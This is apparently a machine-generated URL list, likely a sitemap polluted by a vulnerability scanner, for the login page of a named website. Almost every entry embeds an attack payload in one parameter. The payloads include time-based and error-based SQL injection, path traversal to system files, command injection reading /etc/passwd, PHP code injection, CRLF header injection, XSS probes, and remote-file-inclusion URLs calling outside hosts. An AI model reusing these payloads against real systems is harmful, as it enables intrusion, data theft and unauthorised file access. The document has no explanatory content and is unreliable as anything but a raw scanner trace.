http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging'),(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging',(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging'/**/AND/**/1=CHAR(106)%2bCHAR(106)%2bCHAR(106)/**/AND/**/'zl'='zl 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging';%20IF(61=67)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging';%20IF(75=75)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging';%20WAITFOR%20DELAY%20'0:0:5'-- 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging) 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging)%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20(2014=2014 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging)%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20(2014=2014 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging)%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging)%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging)%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20AND%20(9=9 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging)%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging)%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20AND%20(9=9 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging)%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging)%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging)%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20AND%20(9=9 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging)%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging)%20AND%20SLEEP(5)%20AND%20(9=9 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging)%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20%23 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging)%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20(9=9 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging)%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20OR%20(9=8 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging)%20RLIKE%20(SELECT%20(CASE%20WHEN%20(21=21)%20THEN%200x6C6F6767696E67%20ELSE%200x28%20END))%20AND%20(25=25 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging)%20RLIKE%20(SELECT%20(CASE%20WHEN%20(56=93)%20THEN%200x6C6F6767696E67%20ELSE%200x28%20END))%20AND%20(56=56 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging)%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging),(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging);%20IF(18=95)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging);%20IF(47=47)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging,%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging,%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging,(SELECT%20(CASE%20WHEN%20(11=11)%20THEN%200x6C6F6767696E67%20ELSE%2011*(SELECT%2011%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging,(SELECT%20(CASE%20WHEN%20(18=18)%20THEN%200x6C6F6767696E67%20ELSE%2018*(SELECT%2018%20FROM%20mysql.db)%20END)) 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging,(SELECT%20(CASE%20WHEN%20(29=77)%20THEN%200x6C6F6767696E67%20ELSE%2029*(SELECT%2029%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging,(SELECT%20(CASE%20WHEN%20(45=45)%20THEN%200x6C6F6767696E67%20ELSE%20CAST(1%20AS%20INT)/(SELECT%200%20FROM%20DUAL)%20END)%20FROM%20DUAL) 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging,(SELECT%20(CASE%20WHEN%20(5=5)%20THEN%20SLEEP(5)%20ELSE%205*(SELECT%205%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging,(SELECT%20(CASE%20WHEN%20(67=87)%20THEN%200x6C6F6767696E67%20ELSE%20CAST(1%20AS%20INT)/(SELECT%200%20FROM%20DUAL)%20END)%20FROM%20DUAL) 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging,(SELECT%20(CASE%20WHEN%20(81=51)%20THEN%200x6C6F6767696E67%20ELSE%2081*(SELECT%2081%20FROM%20mysql.db)%20END)) 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging,(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging,(SELECT%20CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20FROM%20SYSCOLUMNS) 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging,(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging,EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging/**/AND/**/1=CHAR(106)%2bCHAR(106)%2bCHAR(106) 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging1 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging6633x3X6 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging;%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5) 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging;%20SELECT%20SLEEP(5) 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging;SELECT%20PG_SLEEP(5) 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=loggingAND%20(SELECT%20*%20FROM%20(SELECT(SLEEP(5)))uttes) 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=loggingAND%201997=(SELECT%205%20FROM%20PG_SLEEP(5)) 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=loggingAND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5) 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=loggingJyI%3D 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logginga' 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=loggingalert(42873) 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logginge360 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=oxoxoxoxoxoxox.com 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=phpinfo 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=response.write(9412458*9542755) 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=set%7Cset&set 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=$%7B@print(md5(1122))%7D 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=%0a%20SomeCustomInjectedHeader%3Ainjected_by_test 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=%0d%0a%20SomeCustomInjectedHeader%3Ainjected_by_test 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=%0d%0a%20SomeCustomInjectedHeader:injected_by_test 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=%2B%2Fv9+%2BADw-script%2BAD4-alert%281%29%2BADw-%2Fscript%2BAD4- 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=%3C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=%3C?exit(md5(1122));?%3E 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=%3C?php%20print(md5(1122));exit;?%3E 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=%3Cdir 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=%60ping%20-c%205%20127.0.0.1%60 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=%7C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=%7Cping%20-n%205%20127.0.0.1%7C 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=%7Cping+-c+4+127.0.0.1 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afboot.ini 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod='%2bCONVERT(INT,CHAR(106)%2bCHAR(67)%2bCHAR(117)%2bCHAR(106)%2bCHAR(50)%2bCHAR(108)%2bCHAR(67)%2bCHAR(70)%2bCHAR(87)%2bCHAR(122)%2bCHAR(106))%2b' 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod='%5D;print(md5(1122));// 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=');print(md5(1122));// 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=';?%3E%3C?exit(md5(1122));?%3E 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=(EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))) 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=(SELECT%20(CASE%20WHEN%20(22=22)%20THEN%200x6C6F6767696E67%20ELSE%2022*(SELECT%2022%20FROM%20master..sysdatabases)%20END)) 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=(SELECT%20(CASE%20WHEN%20(33=93)%20THEN%200x6C6F6767696E67%20ELSE%2033*(SELECT%2033%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=(SELECT%20(CASE%20WHEN%20(39=21)%20THEN%200x6C6F6767696E67%20ELSE%2039*(SELECT%2039%20FROM%20master..sysdatabases)%20END)) 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=(SELECT%20(CASE%20WHEN%20(67=39)%20THEN%200x6C6F6767696E67%20ELSE%2067*(SELECT%2067%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=(SELECT%20(CASE%20WHEN%20(72=72)%20THEN%200x6C6F6767696E67%20ELSE%2072*(SELECT%2072%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=(SELECT%20(CASE%20WHEN%20(75=84)%20THEN%200x6C6F6767696E67%20ELSE%20CAST(1%20AS%20INT)/(SELECT%200%20FROM%20DUAL)%20END)%20FROM%20DUAL) 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=(SELECT%20(CASE%20WHEN%20(77=85)%20THEN%200x6C6F6767696E67%20ELSE%2077*(SELECT%2077%20FROM%20mysql.db)%20END)) 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=(SELECT%20(CASE%20WHEN%20(87=87)%20THEN%200x6C6F6767696E67%20ELSE%20CAST(1%20AS%20INT)/(SELECT%200%20FROM%20DUAL)%20END)%20FROM%20DUAL) 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=(SELECT%20(CASE%20WHEN%20(91=91)%20THEN%200x6C6F6767696E67%20ELSE%2091*(SELECT%2091%20FROM%20mysql.db)%20END)) 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=(SELECT%20CHAR(116)%2bCHAR(104)%2bCHAR(105)%2bCHAR(110)%2bCHAR(107)%2bCHAR(58)%2b(SELECT%20(CASE%20WHEN%20(1943=1943)%20THEN%20CHAR(105)%20ELSE%20CHAR(48)%20END))%2bCHAR(58)%2bCHAR(100)%2bCHAR(105)%2bCHAR(102)%2bCHAR(102)%2bCHAR(101)%2bCHAR(114)%2bCHAR(101)%2bCHAR(110)%2bCHAR(116)) 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afboot.ini 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=................windowswin.ini 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././boot.ini 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=../../../../../../../../boot.ini 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=../../../../../../../../boot.ini%00 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=../../../../../../../../boot.ini%00.htm 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=../../../../../../../../boot.ini%00.html 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=../../../../../../../../boot.ini%00.jpg 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=../../../../../../../../boot.ini%00.txt 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=../..//../..//../..//../..//../..//../..//../..//../..//boot.ini 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=/.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./boot.ini 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=/some_inexistent_file_with_long_name 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=;$%7B@print(md5(1122))%7D; 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=;cat%20/etc/passwd; 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=;print(md5(1122));%23 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=C:%5Cboot.ini 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=ELT(26=26,0x6C6F6767696E67) 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=ELT(92=43,0x6C6F6767696E67) 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=MAKE_SET(36=36,0x6C6F6767696E67) 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=MAKE_SET(52=33,0x6C6F6767696E67) 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=convert(int,('s'elect'%20char(106)%2bchar(58))) 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=data:text/plain,%3C%3Fphp%20print%28md5%281122%29%29%3B%3F%3E 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=die(md5($_get%5Bwebscan%5D));&webscan=1122 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=dir 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=file:///c:/boot.ini 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=http://hitBAo6EKQnyr.bxss.me/ 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=http://hitd0rQGQge8t.bxss.me/ 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=http://oxoxoxoxoxoxox.com 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=http://some-inexistent-website.com/some_inexistent_file_with_long_name 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=http://testasp.vulnweb.com/t/fit.txt 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging 0.0020 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging!(%28%29&%26%21%7C*%7C%2A%7C 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging%00' 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging%20 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106) 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging%20AND%20SLEEP(5) 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%201=1 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 